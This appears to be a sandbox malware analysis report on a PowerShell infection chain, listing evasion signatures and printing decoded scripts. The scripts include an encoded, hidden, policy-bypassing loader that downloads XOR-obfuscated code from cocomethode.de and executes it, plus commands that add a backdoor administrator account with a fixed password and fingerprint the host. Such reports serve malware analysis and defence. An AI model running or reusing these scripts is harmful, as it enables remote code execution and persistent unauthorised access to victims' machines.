Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE			Jump to behavior

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Source: C:\Windows\Temp\svczHost.exe	Memory allocated: 277BAC20000 memory reserve \| memory write watch
Source: C:\Windows\Temp\myRdpService.exe	Memory allocated: 1EB95910000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9903	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9860	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9871	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9840
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 389
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9818
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9552
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9871
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9907
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9832

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.dll

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8728	Thread sleep count: 9903 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8816	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9020	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 980	Thread sleep count: 9871 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7216	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7216	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9788	Thread sleep count: 9818 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 10008	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9932	Thread sleep count: 9552 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9920	Thread sleep count: 262 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2896	Thread sleep count: 9871 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2396	Thread sleep count: 9907 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 336	Thread sleep count: 9832 > 30

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\net1.exe	Last function: Thread delayed
Source: C:\Windows\Temp\myRdpService.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 0000000F.00000002.475125287836.0000023B8AC2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000005.00000002.474917320532.000002BCDE241000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
Source: powershell.exe, 0000000F.00000002.475125287836.0000023B8AC2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476267701819.00000277BEF46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000018.00000000.475101654108.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: svchost.exe, 00000015.00000002.476263526128.0000026EC745E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.476268318406.0000026EC8223000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000F.00000002.475125287836.0000023B8AC2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000009.00000002.474814907075.0000018AE80B4000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000018.00000002.476262935608.00000277BAA81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 0000000F.00000002.475939915498.0000023BA226C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\svczHost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 6008, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXT.ENcODiNG]::UTF8.GeTStrINg((IWr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9mYko1ZXg=")))).COntent))
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXT.ENcODiNG]::UTF8.GeTStrINg((IWr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9mYko1ZXg=")))).COntent))	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByA